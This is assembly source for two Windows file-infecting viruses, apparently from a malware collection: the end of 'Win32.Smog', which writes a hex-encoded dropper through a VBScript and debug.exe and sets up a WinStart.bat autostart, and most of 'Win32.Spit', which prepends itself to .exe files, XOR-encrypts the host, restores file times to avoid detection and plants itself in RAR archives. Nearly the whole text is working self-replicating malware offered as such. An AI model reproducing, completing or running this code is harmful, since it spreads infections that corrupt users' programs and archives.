db 'nec.WriteLine "E F53206D6F64652E0D0D0A24000000000000005D171DDB19767388197673881976738819767"',0,0dh,0ah
db 'nec.WriteLine "E 38817767388E55661881876738852696368197673880000000000000000504500004C01030"',0,0dh,0ah
db 'nec.WriteLine "E 0F23624340000000000000000E0000F010B01050C000200000004000000000000001000000"',0,0dh,0ah
db 'nec.WriteLine "E 0100000002000000000400000100000000200000400000000000000040000000"',0,0dh,0ah
db 'nec.WriteLine "E 00000000040000000040000000000000200000000001000001000000000100000100000000"',0,0dh,0ah
db 'nec.WriteLine "E 000001000000000000000000000002820000050000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000200000280000000000"',0,0dh,0ah
db 'nec.WriteLine "E 000000000000000000000000000000000000000000002E74657874000000BC0000000010000"',0,0dh,0ah
db 'nec.WriteLine "E 00002000000040000000000000000000000000000200000602E726461746100003201000000"',0,0dh,0ah
db 'nec.WriteLine "E 2000000002000000060000000000000000000000000000400000"',0,0dh,0ah
db 'nec.WriteLine "E 402E64617461000000C40000000030000000020000000800000000000000000000000000004"',0,0dh,0ah
db 'nec.WriteLine "E 00000C000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000006A00680030400068273040006A00E88500000068"',0,0dh,0ah
db 'nec.WriteLine "E B0304000E88D000000689930400050E888000000A3C03040006A016A00FF15C03040006A0068"',0,0dh,0ah
db 'nec.WriteLine "E C0D401006A006A00E8570000006A006A006A00684F304000E83B00000083F800742EA1533040"',0,0dh,0ah
db 'nec.WriteLine "E 003D1301000075DF6A006A006A00686B304000E83E0000006A006A006A006881304000E82E00"',0,0dh,0ah
db 'nec.WriteLine "E 0000EBBD6A00E813000000CCFF2518204000FF2510204000FF2514204000FF2508204000FF25"',0,0dh,0ah
db 'nec.WriteLine "E 00204000FF2504204000FF252020400000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000E2200000F6200000D42000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000AE200000BC200000A0200000000000001621000000000000882000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 000000C820000010200000782000000000000000000000082100000020000098200000000000"',0,0dh,0ah
db 'nec.WriteLine "E 000000000028210000202000000000000000000000000000000000000000000000E2200000F6"',0,0dh,0ah
db 'nec.WriteLine "E 200000D420000000000000AE200000BC200000A0200000000000001621000000000000280147"',0,0dh,0ah
db 'nec.WriteLine "E 65744D6573736167654100BB014D657373616765426F7841004D0253657454696D6572000055"',0,0dh,0ah
db 'nec.WriteLine "E 53455233322E646C6C000075004578697450726F63657373001101476574"',0,0dh,0ah
db 'nec.WriteLine "E 4D6F64756C6548616E646C65410000290147657450726F634164647265737300004B45524E45"',0,0dh,0ah
db 'nec.WriteLine "E 4C33322E646C6C000035006D636953656E64537472696E6741000057494E4D4D2E646C6C0000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000002A57"',0,0dh,0ah
db 'nec.WriteLine "E 696E33322E536D6F672844726F70706572292A46726573686572207468616E2061697221004B"',0,0dh,0ah
db 'nec.WriteLine "E 6F707977726F6E67206279204E6563726F6E6F6D696B6F6E205B5A657230477261766974795D"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000736574204344417564"',0,0dh,0ah
db 'nec.WriteLine "E 696F20646F6F72206F70656E00736574204344417564696F20646F6F7220636C6F7365640052"',0,0dh,0ah
db 'nec.WriteLine "E 656769737465725365727669636550726F63657373006B65726E656C33322E646C6C00000000"',0,0dh,0ah
db 'nec.WriteLine "E 00000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 00000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 00000000000000"',0,0dh,0ah
db 'nec.WriteLine "RCX"',0,0dh,0ah
db 'nec.WriteLine "82"',0,0dh,0ah
db 'nec.WriteLine "W"',0,0dh,0ah
db 'nec.WriteLine "Q"',0,0dh,0ah
db 'nec.WriteLine ""',0,0dh,0ah
db 'nec.Close',0,0dh,0ah
db 'Set BatFile = FSO.CreateTextFile("c:\Windows\WinStart.bat", 2, False)',0,0dh,0ah
db 'BatFile.WriteLine ""',0,0dh,0ah
db 'BatFile.WriteLine "@echo off"',0,0dh,0ah
db 'BatFile.WriteLine "debug < c:\windows\smogdrop.dll > nul"',0,0dh,0ah
db 'BatFile.WriteLine "c:\smogdrop.exe"',0,0dh,0ah
db 'BatFile.WriteLine ""',0,0dh,0ah
db 'BatFile.Close',0,0dh,0ah
db 'MsgBox "Fresher than air!", 48,"Win32.Smog"',0,0dh,0ah
endScript db 0
scriptSize equ offset vbsDir0-offset vbsFile
vbsDir0 db 'c:\windows\start~1\progra~1\autost~1',0
end start
; virus id and author
virusId db 'Win32.SMOG',0
; message
mess db '*SMOG*Fresher than air...'
db 0dh,0ah,'Coded by Necronomikon[ZeroGravity]',0
MAX_PATH equ 0ffh
FALSE equ 00h
OF_READWRITE equ 02h ; Opens the file for reading and
; writing
SW_SHOW equ 05h ; Activates the window and displays it
; in its current size and position
FILETIME struct
dwLowDateTime DWORD ? ; Specifies the low-order 32 bits of
; the file time
dwHighDateTime DWORD ? ; Specifies the high-order 32 bits of
; the file time
FILETIME ends
WIN32_FIND_DATA struct
dwFileAttributes DWORD ? ; Specifies the file attributes of the
; file found
ftCreationTime FILETIME <> ; Specifies the time the file was
; created
ftLastAccessTime FILETIME <> ; Specifies the time that the file was
; last accessed
ftLastWriteTime FILETIME <> ; Specifies the time that the file was
; last written to
nFileSizeHigh DWORD ? ; Specifies the high-order DWORD value
; of the file size, in bytes
nFileSizeLow DWORD ? ; Specifies the low-order DWORD value
; of the file size, in bytes
dwReserved0 DWORD ? ; Reserved for future use
dwReserved1 DWORD ? ; Reserved for future use
cFileName BYTE MAX_PATH dup(?)
; A null-terminated string that is the
; name of the file
cAlternate BYTE 0eh dup(?) ; A null-terminated string that is an
; alternative name for the file
ends
FindFileData WIN32_FIND_DATA <>
szFileName db '*.exe',00h ; Name of file to search for
szNewFileName db 'Necro.exe',00h
; Null-terminated string that
; specifies the name of the new file
cBuffer db ? ; Buffer for read data, data to be
; written
cBuffer_ db ? ; Buffer for read data, data to be
; written
.code
code_begin:
push L 1030h ; show a message box
lea eax,virusId
push eax
lea eax,mess
push eax
push L 0
call MessageBoxA
skipPay:
call GetCommandLineA ; get command line
mov dword ptr [commandLine],eax
xor esi,esi
lea edi,hostName
vbsCheck:
lea eax,vbsDir0
push eax
call SetCurrentDirectoryA
cmp eax,0
je installScript
installScript:
lea eax,scriptName
push eax
call DeleteFileA
push L 0h
push L 20h ; archive
push L 1
push L 0h
push L (1h OR 2h)
push 40000000h
lea eax,scriptName
push eax
call CreateFileA ; open new script for write (shared)
cmp eax,-1
je retDir
mov dword ptr [fHnd],eax
push L 0
lea eax,nec
push eax
mov eax,scriptSize
push eax
lea eax,vbsFile
push eax
push dword ptr [fHnd]
call WriteFile ; write file
mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle
retDir:
lea eax,chDir
push eax ; restore work directory
call SetCurrentDirectoryA
dcLoop:
push L 0
lea eax,nec
push eax
push L 1
push edi
push dword ptr [fHnd]
call WriteFile ; write data
cmp byte ptr [edi],0ffh
jne skipFF
dec dword ptr [cont0]
call addFF
inc edi
skipFF:
inc edi
dec dword ptr [cont0]
cmp dword ptr [cont0],0
jne dcLoop
push dword ptr [fHnd] ; close file
call CloseHandle
addFF:
xor ecx,ecx
mov cl,byte ptr [edi+1]
mov byte ptr [cont1],cl
cmp cl,0
jne addFFLoop
ret
addFFLoop:
push L 0
lea eax,nec
push eax
push L 1
push edi
push dword ptr [fHnd]
call WriteFile ; write data
dec byte ptr [cont1]
cmp byte ptr [cont1],0
jne addFFLoop
ret
;
lea edi,[esp+10h] ; EDI = pointer to buffer for module
; path
push edi ; EDI = pointer to buffer for module
; path
repne scasb ; Find end of filename
mov byte ptr [edi-01h],'.' ; Store dot
pop edi ; EDI = pointer to buffer for module
; path
push offset FindFileData ; Address of returned information
push offset szFileName ; Address of name of file to search
; for
call FindFirstFileA
push FALSE ; If file already exists, overwrite it
push offset szNewFileName ; Address of filename to copy to
push edi ; Address of name of an existing file
call CopyFileA
push OF_READWRITE ; Opens the file for reading and
; writing
push offset FindFileData.cFileName
; Address of name of file to open
call _lopen
mov esi,eax ; ESI = file handle
push OF_READWRITE ; Opens the file for reading and
; writing
push offset szNewFileName ; Address of filename to copy to
call _lopen
mov edi,eax ; EDI = file handle
xor ebx,ebx ; Number of bytes read and written
mov ebp,0fffff000h ; Number of bytes to move through
; source file
read_write_loop:
push 00h ; Position to move from
push ebx ; Number of bytes to move
push esi ; Pointer to destination filename
call _llseek
push 01h ; Length, in bytes, of data buffer
push offset cBuffer ; Address of buffer for read data
push esi ; Pointer to destination filename
call _lread
push 00h ; Position to move from
push ebx ; Number of bytes to move
push edi ; Pointer to source filename
call _llseek
push 01h ; Length, in bytes, of data buffer
push offset cBuffer_ ; Address of buffer for read data
push edi ; Pointer to source filename
call _lread
push 00h ; Position to move from
push ebx ; Number of bytes to move
push esi ; Pointer to destination filename
call _llseek
push 01h ; Number of bytes to write
push offset cBuffer_ ; Address of buffer for data to be
; written
push esi ; Pointer to destination filename
call _lwrite
push 02h ; Position to move from
push 00h ; Number of bytes to move
push esi ; Pointer to destination filename
call _llseek
push 01h ; Number of bytes to write
push offset cBuffer ; Address of buffer for data to be
; written
push esi ; Pointer to destination filename
call _lwrite
push 02h ; Position to move from
push ebp ; Number of bytes to move
push edi ; Pointer to source filename
call _llseek
push 01h ; Length, in bytes, of data buffer
push offset cBuffer ; Address of buffer for read data
push edi ; Pointer to source filename
call _lread
push 00h ; Position to move from
push ebx ; Number of bytes to move
push edi ; Pointer to source filename
call _llseek
push 01h ; Number of bytes to write
push offset cBuffer ; Address of buffer for data to be
push edi ; Pointer to source filename
call _lwrite
inc ebx ; Increase number of bytes read and
; written
inc ebp ; Increase number of bytes to move
; through source file
cmp bx,1000h ; Read and written all of the virus?
jne read_write_loop ; Not equal? Jump to read_write_loop
push edi ; Handle of file to close
call _lclose
push SW_SHOW ; Activates the window and displays it
; in its current size and position
push offset szNewFileName ; Address of filename to copy to
call WinExec
code_end:
end code_begin

857
Win32/Win32.Spit.asm Normal file

@ -0,0 +1,857 @@
;
; SPIT.Win32 rev2.1
; a Bumblebee Win32 Virus
;
; . Yeah! It's simple but FULL Win32 compatible -i think-. A non-resident
; Win32 virus using ffirst 'n' fnext.
; . Copies into host: virus+host. When host execs copies host to
; temporary file and execs it. Then waits until exec ends to delete
; the tmp file. It's like a spit: petty but annoying if falls over you ;)
;
; . Is my 1st PE virus and can be improved -see icons on infected files-.
; But SPIT uses a simple way to infect!
;
; . Notes:
; - Uses WinExec 'cause CreateProcess is more complex.
; - Virus size is 8192 bytes (code+data+headers+...)
; - Marks Dos header with 'hk' on infected files
; - Makes a semi-random name for tmp file
;
; . What's new on rev2?
;
; - Only infect PE files
; - exec host before infect
; - Best random tmp name
; - Hide tmp host with hidden attribute while exec
; - Encrypts host -fuck you avers ;)-
; - no file time change
; - uses CD13 routines to drop over RAR file -Thanx CD13!-
;
; . What's new on rev2.1?
; - a stupid error fixed -WinExec 1st push must be 1 :(-
;
;
; . ThanX to...
;
; ... 29a for e-zines, CD13 for his cool stuff, and Lethal for
; find a bug when i think it was finished ...
;
;
; The way of the bee
;
; . yeah Lich... win32 programming is:
;
; push shit
; push moreShit
; push tooMuchShit
; call WinGoesToHell
;
;
; tasm /ml /m3 v32,,;
; tlink32 -Tpe -c v32,v32,, import32.lib
;
.386
locals
jumps
.model flat,STDCALL
; procs to import
extrn ExitProcess:PROC
extrn CreateFileA:PROC
extrn WriteFile:PROC
extrn CloseHandle:PROC
extrn FindFirstFileA:PROC
extrn FindNextFileA:PROC
extrn ReadFile:PROC
extrn GetCommandLineA:PROC
extrn VirtualAlloc:PROC
extrn VirtualFree:PROC
extrn MessageBoxA:PROC
extrn _llseek:PROC
extrn GetFileSize:PROC
extrn DeleteFileA:PROC
extrn WinExec:PROC
extrn lstrcpy:PROC
extrn lstrcat:PROC
extrn GetSystemTime:PROC
extrn SetFileAttributesA:PROC
extrn GetFileTime:PROC
extrn SetFileTime:PROC
; from BC++ Win32 API on-line Reference
WIN32_FIND_DATA struc
dwFileAttributes dd 0
dwLowDateTime0 dd ? ; creation
dwHigDateTime0 dd ?
dwLowDateTime1 dd ? ; last access
dwHigDateTime1 dd ?
dwLowDateTime2 dd ? ; last write
dwHigDateTime2 dd ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved dd 0,0
cFileName db 260 dup(0)
cAlternateFilename db 14 dup(0)
db 2 dup(0)
WIN32_FIND_DATA ends
; struc from 29A INC files... THANX you a lot!
IMAGE_DOS_HEADER STRUC
MZ_magic DW ? ; Magic number
MZ_cblp DW ? ; Bytes on last page of file
MZ_cp DW ? ; Pages in file
MZ_crlc DW ? ; Relocations
MZ_cparhdr DW ? ; Size of header in paragraphs
MZ_minalloc DW ? ; Minimum extra paragraphs needed
MZ_maxalloc DW ? ; Maximum extra paragraphs needed
MZ_ss DW ? ; Initial (relative) SS value
MZ_sp DW ? ; Initial SP value
MZ_csum DW ? ; Checksum
MZ_ip DW ? ; Initial IP value
MZ_cs DW ? ; Initial (relative) CS value
MZ_lfarlc DW ? ; File address of relocation table
MZ_ovno DW ? ; Overlay number
MZ_res DW 4 DUP (?) ; Reserved words
MZ_oemid DW ? ; OEM identifier (for e_oeminfo)
MZ_oeminfo DW ? ; OEM information; e_oemid specific
MZ_res2 DW 10 DUP (?) ; Reserved words
MZ_lfanew DD ? ; File address of new exe header
IMAGE_DOS_HEADER ENDS
IMAGE_SIZEOF_DOS_HEADER EQU SIZE IMAGE_DOS_HEADER
; for RAR drop
HeaderSize equ FinRARHeader-RARHeader
Size equ 8192
.DATA
dos_header IMAGE_DOS_HEADER <?> ; for inf check test
find_data WIN32_FIND_DATA <?> ; for ffirst 'n' fnext
fMask: db '*.EXE',0 ; mask for exe
ffHnd: dd ? ; ff'n'fn handle
fHnd: dd ? ; file handle
mHnd: dd ? ; memory handle
mtHnd: dd ? ; tmp memory handle
mtaHnd: dd ? ; tmp memory handle for args
commandLine: dd ? ; you know...
hArgs: db ? ; flag for has args
argsPos: dd ? ; pos of args in cmd line
fSize: dd ? ; tmp size of file
size2Read dd 0 ; used for r/w ops
titleb db 'Virus Report rev2.1',0
vid db 'SPIT.Win32 is a Bumblebee Win32 Virus',0ah,0dh
mess db 0ah,0dh,'Feel the power of Spain and die by the SpiT!'
db 0ah,0dh,0
tmpHost db 'bbbee'
rndHost db '000000.exe',0
execStatus: db 0 ; status after exec
sysTimeStruct db 16 dup(0)
; data for save time
stfHnd dd ?
time0 dd 0,0
time1 dd 0,0
time2 dd 0,0
sErr db 0
; data for RAR drop by CD13
dMask: db '*.RAR',0 ; mask for rar
Number dd 0
RARHeader: ; Header that we will add
RARHeaderCRC dw 0 ; We'll fill: CRC of header
RARType db 074h ; File Header
RARFlags dw 8000h
RARHeadsize dw HeaderSize
RARCompressed dd Size ; Compressed and Original
RAROriginal dd Size ; size are the same, we stored
RAROs db 0 ; OS: ms-dos
RARCrc32 dd 0 ; We must fill this field
RARFileTime db 063h,078h ; Time of the program
RARFileDate db 031h,024h ; Date of the proggy
RARNeedVer db 014h
RARMethod db 030h ; Method: storing
RARFnameSize dw FinRARHeader-RARName
RARAttrib dd 0
RARName db "README32.EXE" ; Name of file to drop
FinRARHeader label byte
.CODE
inicio:
lea eax,sysTimeStruct ; check for payload
push eax
call GetSystemTime
lea eax,sysTimeStruct ; april 5
cmp word ptr [eax+2],4
jne skipPay
cmp word ptr [eax+6],5
jne skipPay
push 1000h ; petty payload
lea eax,titleb
push eax
lea eax,vid
push eax
push 0
call MessageBoxA
skipPay:
call GetCommandLineA ; get command line
mov dword ptr [commandLine],eax
skipArgs: ; skip args
cmp dword ptr [eax],'EXE.'
je argsOk
inc eax
jmp skipArgs
argsOk:
add eax,4
cmp byte ptr [eax],0
jne hasArgs
mov byte ptr hArgs,0
jmp sHasArgs
hasArgs:
mov byte ptr [eax],0
mov byte ptr hArgs,1
mov dword ptr [argsPos],eax
sHasArgs:
call execHoste ; exec host
push 00000004h ; read/write page
push 00001000h ; mem commit (reserve phys mem)
push 8192 ; size to alloc
push 0h ; let system decide where to alloc
call VirtualAlloc
cmp eax,0
je justOut ; ops... not memory to alloc?
mov dword ptr [mHnd],eax
xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h
push 80000000h
mov eax,dword ptr [commandLine]
push eax
call CreateFileA ; open own file for read (shared)
cmp eax,-1
je justOut ; error: we can't infect ..snif..
mov dword ptr [fHnd],eax ; save handle
push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push 8192
push dword ptr [mHnd]
push dword ptr [fHnd]
call ReadFile ; read vx from hoste
mov eax,dword ptr size2Read
cmp eax,0
je justOut
mov eax,dword ptr [mHnd]
add eax,12h
mov word ptr [eax],'kh' ; infection sign
; -only needed in 1st infection-
; but...
hOwnClose:
mov eax,dword ptr [fHnd] ; close own file
push eax
call CloseHandle
lea eax,find_data ; find first *.exe
push eax
lea eax,fMask
push eax
call FindFirstFileA
cmp eax,-1
je goOut
mov dword ptr [ffHnd],eax
fnext:
call checkFile ; check file before infection process
jc noInfect
call infectFile
noInfect:
lea eax,find_data ; find next *.exe
push eax
mov eax,dword ptr [ffHnd]
push eax
call FindNextFileA
cmp eax,0
jne fnext
mov eax,dword ptr [ffHnd] ; close ffist/fnext handle
push eax
call CloseHandle
goOut:
lea eax,find_data ; find first *.rar
push eax
lea eax,dMask
push eax
call FindFirstFileA
cmp eax,-1
je justOut
mov dword ptr [ffHnd],eax
fnextRar:
call saveTime
call drop
cmp byte ptr [sErr],1
je findNextRar
call restoreTime
findNextRar:
lea eax,find_data ; find next *.rar
push eax
mov eax,dword ptr [ffHnd]
push eax
call FindNextFileA
cmp eax,0
jne fnextRar
mov eax,dword ptr [ffHnd] ; close ffist/fnext handle
push eax
call CloseHandle
justOut:
cmp byte ptr [execStatus],0 ; error while exec host?
je skipDelLoop
delLoop:
lea eax,tmpHost
push eax ; delete tmp hoste
call DeleteFileA
cmp eax,0
je delLoop ; wait until exec ends
skipDelLoop:
push 0h ; exit
call ExitProcess
jmp skipDelLoop
checkFile: ; checks file
push edx
lea edx,find_data.cFileName
call testIfPE
pop edx
jc checkErrOut
mov ax,word ptr dos_header.MZ_csum
cmp ax,'kh'
je checkErrOut ; check if it's infected yet
checkOut:
clc
ret
checkErrOut:
stc
ret
testIfPE:
xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h
push 80000000h
push edx
call CreateFileA ; open file for read (shared)
cmp eax,-1
je loadHErrOut
mov dword ptr [fHnd],eax ; save handle
push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push IMAGE_SIZEOF_DOS_HEADER
lea eax,dos_header
push eax
push dword ptr [fHnd]
call ReadFile ; read DOS header
mov eax,dword ptr size2Read
cmp eax,0
je loadHErrOut
mov ax,word ptr [dos_header.MZ_magic]
add al,ah
cmp al,'M'+'Z' ; check it's a EXE
jne loadHErrOut
push 0
push dword ptr [dos_header.MZ_lfanew]
push dword ptr [fHnd]
call _llseek ; lseek to begin of PE header
cmp eax,-1
je loadHErrOut
push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push 2
lea eax,dos_header
push eax
push dword ptr [fHnd]
call ReadFile ; read PE sign
mov eax,dword ptr size2Read
cmp eax,0
je loadHErrOut
mov ax,word ptr [dos_header.MZ_magic]
add al,ah
cmp al,'P'+'E' ; check it's a PE
jne loadHErrOut
mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle
clc
ret
loadHErrOut:
mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle
stc
ret
infectFile:
call saveTime ; save time of file
xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h OR 00000002h
push 40000000h OR 80000000h
lea eax,find_data.cFileName
push eax
call CreateFileA ; open file for r/w (shared)
cmp eax,-1
je infErrOutNC
mov dword ptr [fHnd],eax ; save handle
push 0
push eax
call GetFileSize
cmp eax,-1
je infErrOutC
mov dword ptr [fSize],eax ; save size of file
push 00000004h ; read/write page
push 00001000h ; mem commit (reserve phys mem)
push eax ; size to alloc
push 0h ; let system decide where to alloc
call VirtualAlloc ; alloc memory for future hoste
cmp eax,0
je infErrOutC ; ops... not memory to alloc?
mov dword ptr [mtHnd],eax
push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push dword ptr [fSize]
push dword ptr [mtHnd]
push dword ptr [fHnd]
call ReadFile ; read future hoste
mov eax,dword ptr size2Read
cmp eax,0
je infErrOutC
push 0
push 0
push dword ptr [fHnd]
call _llseek ; lseek to begin of file
cmp eax,-1
je infErrOutC
push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push 8192
push dword ptr [mHnd]
push dword ptr [fHnd]
call WriteFile ; write virii
call encrypt ; encrypt hoste
push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push dword ptr [fSize]
push dword ptr [mtHnd]
push dword ptr [fHnd]
call WriteFile ; write future hoste
push 00004000h
push dword ptr [fSize]
push dword ptr [mtHnd]
call VirtualFree ; free future host mem
infErrOutC:
mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle
infErrOutNC:
cmp byte ptr [sErr],0
jne skipRestoreTime
call restoreTime
skipRestoreTime:
ret
execHoste:
xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h
push 80000000h
mov eax,dword ptr [commandLine]
push eax
call CreateFileA ; open host file for read (shared)
cmp eax,-1
je exeErrOutNC
mov dword ptr [fHnd],eax ; save handle
push 0
push eax
call GetFileSize
cmp eax,-1
je exeErrOutC
sub eax,8192 ; sub virus size
mov dword ptr [fSize],eax ; save size of file
push 00000004h ; read/write page
push 00001000h ; mem commit (reserve phys mem)
push eax ; size to alloc
push 0h ; let system decide where to alloc
call VirtualAlloc ; alloc memory for hoste
cmp eax,0
je exeErrOutC ; ops... not memory to alloc?
mov dword ptr [mtHnd],eax
push 0
push 8192
push dword ptr [fHnd]
call _llseek ; lseek to hoste of file
cmp eax,-1
je exeErrOutC
push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
mov eax,dword ptr [fSize]
push eax
push dword ptr [mtHnd]
push dword ptr [fHnd]
call ReadFile ; read hoste
mov eax,dword ptr size2Read
cmp eax,0
je exeErrOutC
mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle
call encrypt ; dencrypt hoste
mov ecx,6
mov edx,offset rndHost
loopRnd:
call getRandom ; make a random tmp name
mov byte ptr [edx],al
inc edx
loop loopRnd
xor eax,eax
push eax
push 00000020h ; archive
push 1
push eax
push 00000001h OR 00000002h
push 40000000h
lea eax,tmpHost
push eax
call CreateFileA ; open new file for write (shared)
cmp eax,-1
je exeErrOutNC
push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
mov eax,dword ptr [fSize]
push eax
push dword ptr [mtHnd]
push dword ptr [fHnd]
call WriteFile ; write hoste
mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle
push 00004000h
push dword ptr [fSize]
push dword ptr [mtHnd]
call VirtualFree ; free future host mem
push 00000004h ; read/write page
push 00001000h ; mem commit (reserve phys mem)
push 1024 ; size to alloc
push 0h ; let system decide where to alloc
call VirtualAlloc ; alloc memory for hoste
cmp eax,0
je exeErrOutNC ; ops... not memory to alloc?
mov dword ptr [mtaHnd],eax
lea eax,tmpHost
push eax
mov eax,dword ptr [mtaHnd]
push eax
call lstrcpy ; make a command line
cmp byte ptr [hArgs],0 ; it has not arguments
je execNow
mov eax,dword ptr [argsPos]
mov byte ptr [eax],' '
push eax
mov eax,dword ptr [mtaHnd]
push eax
call lstrcat ; add arguments
execNow:
push 1
mov eax,dword ptr [mtaHnd]
push eax ; exec tmp hoste
call WinExec
mov byte ptr [execStatus],1
push 2
lea eax,tmpHost
push eax
call SetFileAttributesA ; hide file
ret
exeErrOutC:
mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle
exeErrOutNC:
ret
getRandom:
in al,40h
cmp al,65
jb getRandom
cmp al,90
ja getRandom
ret
encrypt:
mov edi,dword ptr [mtHnd]
mov eax,dword ptr [fSize] ; use size low byte as ckey
mov ecx,dword ptr [fSize]
encryptLoop:
xor byte ptr [edi],al
inc edi
loop encryptLoop
ret
saveTime:
xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h
push 80000000h
lea eax,find_data.cFileName
push eax
call CreateFileA ; open own file for read (shared)
cmp eax,-1
je saveErr ; error: we can't save time
mov dword ptr [stfHnd],eax
lea eax,time2
push eax
lea eax,time1
push eax
lea eax,time0
push eax
push dword ptr [stfHnd]
call GetFileTime
mov eax,dword ptr [stfHnd] ; close file
push eax
call CloseHandle
mov byte ptr [sErr],0
ret
saveErr:
mov byte ptr [sErr],1
ret
restoreTime:
xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h
push 40000000h
lea eax,find_data.cFileName
push eax
call CreateFileA ; open own file for read (shared)
cmp eax,-1
je restoreErr ; error: we can't restore time
mov dword ptr [stfHnd],eax
lea eax,time2
push eax
lea eax,time1
push eax
lea eax,time0
push eax
push dword ptr [stfHnd]
call SetFileTime
mov eax,dword ptr [stfHnd] ; close file
push eax
call CloseHandle
restoreErr:
ret
; CD13 routines modified for SPIT -cool routines!-
drop:
xor eax,eax ; open rar file
push eax
push 00000080h
push 3
push eax
push eax
push 40000000h
lea eax,find_data.cFileName
push eax
call CreateFileA
cmp eax,-1
je dropErr
mov dword ptr [fHnd],eax
xor eax,eax
push 02
push eax ; Move pointer to EOF
push dword ptr [fHnd]
call _llseek
mov esi,dword ptr [mHnd]
mov edi,Size ; Get CRC32 of the program
call CRC32 ; that we'll drop
mov dword ptr [RARCrc32],eax ; Save the CRC
mov esi,offset RARHeader+2
mov edi,HeaderSize-2
call CRC32 ; Get CRC32 of the header
mov word ptr [RARHeaderCRC],ax
xor eax,eax
push eax
push offset Number ; Number of bytes written
push HeaderSize
push offset RARHeader ; Write the header
push dword ptr [fHnd]
call WriteFile
mov word ptr [RARHeaderCRC],0
mov word ptr [RARCrc32],0 ; Blank these fields
